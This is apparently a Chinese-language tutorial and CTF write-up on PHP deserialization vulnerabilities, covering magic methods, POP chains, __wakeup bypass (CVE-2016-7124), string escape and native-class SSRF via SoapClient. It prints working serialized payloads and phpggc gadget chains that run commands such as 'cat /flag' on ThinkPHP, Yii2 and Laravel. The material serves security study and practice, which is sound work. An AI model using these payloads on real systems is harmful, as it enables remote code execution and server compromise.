PHP反序列化

PHP反序列化

什么是反序列化操作?

类型转换
复制代码
- PHP & JavaEE & Python(见图)
序列化:对象转换为数组或字符串等格式
反序列化:将数组或字符串等格式转换成对象
serialize()     //将对象转换成一个字符串
unserialize()   //将字符串还原成一个对象

常见PHP魔术方法

复制代码
- 对象逻辑(见图)
__construct(): //当对象new的时候会自动调用
__destruct()://当对象被销毁时会被自动调用
__sleep(): //serialize()执行时被自动调用
__wakeup(): //unserialize()时会被自动调用
__invoke(): //当尝试以调用函数的方法调用一个对象时会被自动调用
__toString(): //把类当作字符串使用时触发
__call(): //调用某个方法,若方法存在,则调用;若不存在,则会去调用__call函数。
__callStatic(): //在静态上下文中调用不可访问的方法时触发
__get(): //读取对象属性时,若存在,则返回属性值;若不存在,则会调用__get函数
__set(): //设置对象的属性时,若属性存在,则赋值;若不存在,则调用__set函数。
__isset(): //在不可访问的属性上调用isset()或empty()触发
__unset(): //在不可访问的属性上使用unset()时触发
__set_state(),调用var_export()导出类时,此静态方法会被调用
__clone(),当对象复制完成时调用
__autoload(),尝试加载未定义的类
__debugInfo(),打印所需调试信息

在这里插入图片描述

为什么会出现安全漏洞?

复制代码
原理:未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化过程,从而导致代码执行,SQL注入,目录遍历等不可控后果。在反序列化的过程中自动触发了某些魔术方法。当进行反序列化的时候就有可能会触发对象中的一些魔术方法。
<?php
class B{
    public $cmd='ipconfig';
    public function __destruct(){
        system($this->cmd);
    }
}
//函数引用,无对象创建触发魔术方法
unserialize($_GET['x']);

反序列化漏洞如何利用?- POP链构造

复制代码
POP:面向属性编程(Property-Oriented Programing)常用于上层语言构造特定调用链的方法,序列化攻击都在PHP魔术方法中出现可利用的漏洞,因自动调用触发漏洞,但如关键代码没在魔术方法中,而是在一个类的普通方法中。这时候就可以通过构造POP链寻找相同的函数名将类的属性和敏感函数的属性联系起来。
反序列化常见起点
方法名 调用条件
__wakeup 一定会调用
__destruct 一定会调用
__toString 当一个对象被反序列化后又被当作字符串使用
反序列化常见跳板
方法名 调用条件
__toString 当一个对象被反序列化后又被当作字符串使用
__get 读取不可访问或不存在属性时被调用
__set 当给不可访问或不存在属性赋值时被调用
__isset 对不可访问或不存在的属性调用isset()或empty()时被调用
反序列化常见终点
方法名 调用条件
__call 调用不可访问或不存在的方法时被调用
call_user_func 一般php代码执行都会选择这里
call_user_func_array 一般php代码执行都会选择这里

案例

__destruct()

__destruct()://当对象被销毁时会被自动调用

构造pop链

执行ipconfig

复制代码
O:1:"B":1:{s:3:"cmd";s:8:"ipconfig";}

执行whoami

复制代码
O:1:"B":1:{s:3:"cmd";s:6:"whoami";}

ctfshow-254

只要isVIp为真就输出flag,就是username=xxxxxx,password=xxxxxx就为真

复制代码
username=xxxxxx&password=xxxxxx

ctfshow-255

isVip需要为true,才会输出flag,与上题相比来说没有让isVip为真的条件,但是多了一个unserialize反序列化

构造pop链

复制代码,删除不需要更改的代码,因为需要以cookie传参user,序列化后的代码有符号这些,使用url编码

复制代码
username=xxxxxx&password=xxxxxx
cookie:user O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

ctfshow-256

username和password值不相等才能得到flag

构造pop链

因为需要修改username和password,构造时添加上去,需要改什么就留什么。

复制代码
username=xxx&password=xx
cookie:user O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A3%3A%22xxx%22%3Bs%3A8%3A%22password%22%3Bs%3A2%3A%22xx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

ctfshow-257

构造pop链

backDoor类下有一个eval,但是并没有调用它,构造一个调用backdoor的序列化链

复制代码
username=xxxxxx&password=xxxxxx
cookie:user
O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A23%3A%22system%28%27tac+flag.php%27%29%3B%22%3B%7D%7D

ctfshow-258

'/[oc]:\d+:/i'含义是:匹配o或c任意一个,冒号,至少一个数字,冒号,不区分大小写

替换绕过

将:替换成+

复制代码
username=xxxxxx&password=xxxxxx
cookie:user O%3A%2B11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A%2B8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A%2B8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3Bs%3A5%3A%22class%22%3BO%3A%2B8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A23%3A%22system%28%27tac+flag.php%27%29%3B%22%3B%7D%7D

PHP-属性类型-公有&私有&保护

对象变量属性
  • public(公共的):在本类内部、外部类、子类都可以访问
  • protect(受保护的):只有本类或子类或父类中可以访问
  • private(私人的):只有本类内部可以使用
序列化数据显示
  • public属性序列化的时候格式是正常成员名
  • private属性序列化的时候格式是%00类名%00成员名
  • protect属性序列化的时候格式是%00*%00成员名

PHP-绕过漏洞-CVE

1、CVE-2016-7124(__wakeup绕过)

漏洞编号:CVE-2016-7124

影响版本:PHP 5<5.6.25; PHP 7<7.0.10

漏洞危害:如存在__wakeup方法,调用unserilize()方法前则先调用__wakeup方法,但序列化字符串中表示对象属性个数的值大于真实属性个数时会跳过__wakeup执行

wakeup绕过案例

正常构造pop链wakeup被调用

复制代码
x=O:4:"Test":3:{s:3:"sex";N;s:4:"name";N;s:3:"age";N;}

当对象属性个数的值大于真实属性个数时会跳过__wakeup执行,修改个数3为4后,wakeup未被调用

复制代码
x=O:4:"Test":4:{s:3:"sex";N;s:4:"name";N;s:3:"age";N;}
[极客大挑战 2019]PHP

访问www.zip下载源代码

打开备份文件class.php,只需要绕过wakeup魔术方法就行了

__destruct()://当对象被销毁时会被自动调用

使用select传参

构造pop链

生成的序列化参数,将:2替换成:3,使其绕过wakeup函数,生成的序列化需要用php的urlencode函数进行url编码,我使用hackbar中的url编码,有差异。

拿下flag

复制代码
select=O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D

字符串逃逸

字符串逃逸--增加

isVIP必须为1才输出flag,把admin替换成hacker,因为没有设置验证用户为admin,假设用户必须为admin

输入admin,被替换成了hacker。

序列化位数增加,反序列无法被识别

复制代码
x=O:4:"user":3:{s:8:"username";s:5:"hacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}

需要逃逸的数据,47位。

复制代码
";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}

admin被替换成hacker,会比原来数据多一位,,如果生成47个admin,那么就会比原来的多47位出来,47位是admin后面的数据位数,刚好占位到47,后面原来的数据就会逃逸

pop链

成功逃逸

复制代码
x=O:4:"user":3:{s:8:"username";s:282:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}
字符串逃逸--减少

isVIP必须为1才输出flag,把admin替换成hack,因为没有设置验证用户为admin,假设用户必须为admin

输入admin,被替换成了hack

序列化位数减少,反序列无法被识别

复制代码
x=O:4:"user":3:{s:8:"username";s:5:"hack";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}

admin被替换成hack,会比原来数据少一位,";s:8:"password";s:6:"22位是不可控的数据,因为每次替换少一位,那么少22位的话刚好将不可控数据反序列化,再将可控的password值改成需要逃逸的字符就会成功反序列化

复制代码
$u='adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin';
$p=';s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}';

反序列的时候就会以先解析O:4:"user":3:{s:8:"username";s:110:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password 后解析";s:46:";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:5:"isVIP";i:1;}后解析的就是逃逸的字符

复制代码
x=O:4:"user":3:{s:8:"username";s:110:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:46:";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:5:"isVIP";i:1;}
ctfshow-262

message.php

常规解法

构造pop链

复制代码
Cookie:msg Tzo3OiJtZXNzYWdlIjo0OntzOjQ6ImZyb20iO047czozOiJtc2ciO047czoyOiJ0byI7TjtzOjU6InRva2VuIjtzOjU6ImFkbWluIjt9
字符逃逸

因为是fuck替换位loveU,增加了一位

O:7:"message":4:{s:4:"from";s:3:"123";s:3:"msg";s:3:"123";s:2:"to";s:4:"fuck";s:5:"token";s:5:"admin";}中需要逃逸的是";s:5:"token";s:5:"admin";}一共27位,生成27个fuck。

复制代码
O:7:"message":4:{s:4:"from";s:3:"123";s:3:"msg";s:3:"123";s:2:"to";s:108:"fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

base64编码

添加到cookie拿到flag

fuck被替换成loveU,会比原来数据多一位,,如果生成27个fuck,那么就会比原来的多27位出来,27位是fuck后面的数据位数,刚好占位到27,后面原来的数据就会逃逸

还原反序列化过程

先解析s:236:"O:7:"message":4:{s:4:"from";s:3:"123";s:3:"msg";s:3:"123";s:2:"to";s:108:"loveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUlov后解析eUloveUloveUloveUloveUloveU";s:5:"token";s:5:"admin";}相当于sql注入的闭合符号

原生类
原生类应用场景:

没有看到魔术方法利用情况下使用

1.先看能触发的魔术方法

2.没写魔术方法调用逻辑代码

3.使用魔术方法的原生类利用

4.获取魔术方法的原生类(脚本生成,能开启多少和当前的环境模块开关有关)

5.利用魔术方法里面的内置的类 pop修改内置类 形成攻击

案例

没有魔术方法,echo会触发to_string的魔术方法

使用脚本获取魔术方法的原生类

Exception::__toString,数据异常就会转换为字符串

构造pop链,新建异常类,借助异常使其显示""

弹出123

cftshow-259

访问flag.php

getFlag在代码中是不存在的,调用不存在的,则会使用call魔术方法

复制代码
__call(): //调用某个方法,若方法存在,则调用;若不存在,则会去调用__call函数。

使用插件获取call的原生类

SoapClient::__call有ssrf漏洞

复制代码
<?php
$ua="aaa\r\nX-Forwarded-For:127.0.0.1,127.0.0.1\r\nContent-Type:application/x-www-form-urlencoded\r\nContent-Length:13\r\n\r\ntoken=ctfshow";
$client=new SoapClient(null,array('uri'=>'http://127.0.0.1/','location'=>'http://127.0.0.1/flag.php','user_agent'=>$ua));
echo urlencode(serialize($client));
?>

执行构成的序列化语句,访问成功后会生成flag.txt

复制代码
vip=O%3A10%3A"SoapClient"%3A5%3A%7Bs%3A3%3A"uri"%3Bs%3A17%3A"http%3A%2F%2F127.0.0.1%2F"%3Bs%3A8%3A"location"%3Bs%3A25%3A"http%3A%2F%2F127.0.0.1%2Fflag.php"%3Bs%3A15%3A"_stream_context"%3Bi%3A0%3Bs%3A11%3A"_user_agent"%3Bs%3A124%3A"aaa%0D%0AX-Forwarded-For%3A127.0.0.1%2C127.0.0.1%0D%0AContent-Type%3Aapplication%2Fx-www-form-urlencoded%0D%0AContent-Length%3A13%0D%0A%0D%0Atoken%3Dctfshow"%3Bs%3A13%3A"_soap_version"%3Bi%3A1%3B%7D
框架类
反序列化链项目-PHPGGC&NotSoSecure
NotSoSecure

项目地址

复制代码
为了利用反序列化漏洞,需要设置不同的工具,如 YSoSerial(Java)、YSoSerial.NET、PHPGGC 和它的先决条件。DeserializationHelper 是包含对 YSoSerial(Java)、YSoSerial.Net、PHPGGC 和其他工具的支持的Web界面。使用Web界面,您可以为各种框架生成反序列化payload.
Java -- YSoSerial
NET -- YSoSerial.NET
PHP -- PHPGGC
Python - 原生
PHPGGC

项目地址

复制代码
PHPGGC是一个包含unserialize()有效载荷的库以及一个从命令行或以编程方式生成它们的工具。当在您没有代码的网站上遇到反序列化时,或者只是在尝试构建漏洞时,此工具允许您生成有效负载,而无需执行查找小工具并将它们组合的繁琐步骤。 它可以看作是frohoff的ysoserial的等价物,但是对于PHP。目前该工具支持的小工具链包括:CodeIgniter4、Doctrine、Drupal7、Guzzle、Laravel、Magento、Monolog、Phalcon、Podio、ThinkPHP、Slim、SwiftMailer、Symfony、Wordpress、Yii和ZendFramework等。

kali可以直接使用apt安装

[安洵杯 2019]iamthinking

访问public

thinkPHP6.0

访问www.zip下载源码

从readme文件中可以看到采用thinkPHP6.0框架开发

使用phpggc

获取gadget链列表

复制代码
 phpggc -l

找到thinkphp小工具链

复制代码
 phpggc -l thinkphp

使用thinkphp/RCE3,下面有构造payload方法

复制代码
phpggc -i ThinkPHP/RCE3

执行cat /flag 并以url编码

复制代码
phpggc  ThinkPHP/RCE3  system 'cat /flag' --url

直接执行有过滤行为

复制代码
/public/?payload=O%3A41%3A%22League%5CFlysystem%5CCached%5CStorage%5CPsr6Cache%22%3A3%3A%7Bs%3A47%3A%22%00League%5CFlysystem%5CCached%5CStorage%5CPsr6Cache%00pool%22%3BO%3A26%3A%22League%5CFlysystem%5CDirectory%22%3A2%3A%7Bs%3A13%3A%22%00%2A%00filesystem%22%3BO%3A26%3A%22League%5CFlysystem%5CDirectory%22%3A2%3A%7Bs%3A13%3A%22%00%2A%00filesystem%22%3BO%3A14%3A%22think%5CValidate%22%3A1%3A%7Bs%3A7%3A%22%00%2A%00type%22%3Ba%3A1%3A%7Bs%3A3%3A%22key%22%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A7%3A%22%00%2A%00path%22%3Bs%3A9%3A%22cat+%2Fflag%22%3B%7Ds%3A7%3A%22%00%2A%00path%22%3Bs%3A3%3A%22key%22%3B%7Ds%3A11%3A%22%00%2A%00autosave%22%3Bb%3A0%3Bs%3A6%3A%22%00%2A%00key%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A8%3A%22anything%22%3B%7D%7D

在index.php可以看到过滤以O开头区分大小写

三斜杠绕过,但是不明白其中的道理,希望懂的佬,帮我解释一下为何y绕过

复制代码
///public/?payload=O%3A41%3A%22League%5CFlysystem%5CCached%5CStorage%5CPsr6Cache%22%3A3%3A%7Bs%3A47%3A%22%00League%5CFlysystem%5CCached%5CStorage%5CPsr6Cache%00pool%22%3BO%3A26%3A%22League%5CFlysystem%5CDirectory%22%3A2%3A%7Bs%3A13%3A%22%00%2A%00filesystem%22%3BO%3A26%3A%22League%5CFlysystem%5CDirectory%22%3A2%3A%7Bs%3A13%3A%22%00%2A%00filesystem%22%3BO%3A14%3A%22think%5CValidate%22%3A1%3A%7Bs%3A7%3A%22%00%2A%00type%22%3Ba%3A1%3A%7Bs%3A3%3A%22key%22%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A7%3A%22%00%2A%00path%22%3Bs%3A9%3A%22cat+%2Fflag%22%3B%7Ds%3A7%3A%22%00%2A%00path%22%3Bs%3A3%3A%22key%22%3B%7Ds%3A11%3A%22%00%2A%00autosave%22%3Bb%3A0%3Bs%3A6%3A%22%00%2A%00key%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A8%3A%22anything%22%3B%7D%7D
ctfshow-267

admin ,admin弱口令登录

登录之后这个页面有变化

查看页面源代码,发现有个p标签有这个

进行各种拼接就得到了一个这个页面,这就是反序列化入口

Yii

可以通过wappalyzer看到有Yii框架,Yii2 2.0.38 之前的版本存在反序列化漏洞,程序在调用unserialize 时,攻击者可通过构造特定的恶意请求执行任意命令。CVE编号是CVE-2020-15148。

在源代码中也可以看到yii2.0版本的

phpggc

找到yii小工具链

复制代码
phpggc -l yii

根据版本选择合适的链

复制代码
phpggc Yii2/RCE1

执行cat /flag 并以base64编码

复制代码
phpggc Yii2/RCE1 system 'cat /flag' --base64

执行没有反应

复制代码
/index.php?r=backdoor/shell&code=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNzoieWlpXGRiXENvbm5lY3Rpb24iOjI6e3M6MzoicGRvIjtpOjE7czozOiJkc24iO086MjY6InlpaVxkYlxDb2x1bW5TY2hlbWFCdWlsZGVyIjoyOntzOjc6IgAqAHR5cGUiO3M6MToieCI7czoxMToiY2F0ZWdvcnlNYXAiO086MjI6InlpaVxjYWNoaW5nXEFycmF5Q2FjaGUiOjI6e3M6MTA6InNlcmlhbGl6ZXIiO2E6MTp7aToxO3M6Njoic3lzdGVtIjt9czozMDoiAHlpaVxjYWNoaW5nXEFycmF5Q2FjaGUAX2NhY2hlIjthOjE6e3M6MToieCI7YToyOntpOjA7czo5OiJjYXQgL2ZsYWciO2k6MTtpOjA7fX19fX19

猜测不能使用system,使用exec并将flag复制到123.txt

复制代码
phpggc Yii2/RCE1 exec 'cp /flag* 123.txt' --base64

执行有报错

复制代码
/index.php?r=backdoor/shell&code=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNzoieWlpXGRiXENvbm5lY3Rpb24iOjI6e3M6MzoicGRvIjtpOjE7czozOiJkc24iO086MjY6InlpaVxkYlxDb2x1bW5TY2hlbWFCdWlsZGVyIjoyOntzOjc6IgAqAHR5cGUiO3M6MToieCI7czoxMToiY2F0ZWdvcnlNYXAiO086MjI6InlpaVxjYWNoaW5nXEFycmF5Q2FjaGUiOjI6e3M6MTA6InNlcmlhbGl6ZXIiO2E6MTp7aToxO3M6NDoiZXhlYyI7fXM6MzA6IgB5aWlcY2FjaGluZ1xBcnJheUNhY2hlAF9jYWNoZSI7YToxOntzOjE6IngiO2E6Mjp7aTowO3M6MTc6ImNwIC9mbGFnKiAxMjMudHh0IjtpOjE7aTowO319fX19fQ==

查看123.txt,拿到flag

ctfshow-271
Laravel

题目中提示了Laravel但是不知道版本,用unserialize接受数据data

使用phpggc

找到Laravel小工具链

由于不知道版本,我这边选择一个版本区间多的尝试

复制代码
phpggc Laravel/RCE4

生成执行命令url编码的链

复制代码
phpggc Laravel/RCE4 system "tac /flag*" --url

执行pop链,拿下flag

复制代码
data=O%3A40%3A%22Illuminate%5CBroadcasting%5CPendingBroadcast%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00events%22%3BO%3A31%3A%22Illuminate%5CValidation%5CValidator%22%3A1%3A%7Bs%3A10%3A%22extensions%22%3Ba%3A1%3A%7Bs%3A0%3A%22%22%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A8%3A%22%00%2A%00event%22%3Bs%3A10%3A%22tac+%2Fflag%2A%22%3B%7D
相关推荐
用户962377954482 小时前
DVWA 靶场实验报告 (High Level)
安全
数据智能老司机5 小时前
用于进攻性网络安全的智能体 AI——在 n8n 中构建你的第一个 AI 工作流
人工智能·安全·agent
数据智能老司机5 小时前
用于进攻性网络安全的智能体 AI——智能体 AI 入门
人工智能·安全·agent
用户962377954487 小时前
DVWA 靶场实验报告 (Medium Level)
安全
red1giant_star7 小时前
S2-067 漏洞复现:Struts2 S2-067 文件上传路径穿越漏洞
安全
用户9623779544810 小时前
DVWA Weak Session IDs High 的 Cookie dvwaSession 为什么刷新不出来?
安全
BingoGo2 天前
当你的 PHP 应用的 API 没有限流时会发生什么?
后端·php
JaguarJack2 天前
当你的 PHP 应用的 API 没有限流时会发生什么?
后端·php·服务端
cipher2 天前
ERC-4626 通胀攻击:DeFi 金库的"捐款陷阱"
前端·后端·安全
BingoGo2 天前
OpenSwoole 26.2.0 发布:支持 PHP 8.5、io_uring 后端及协程调试改进
后端·php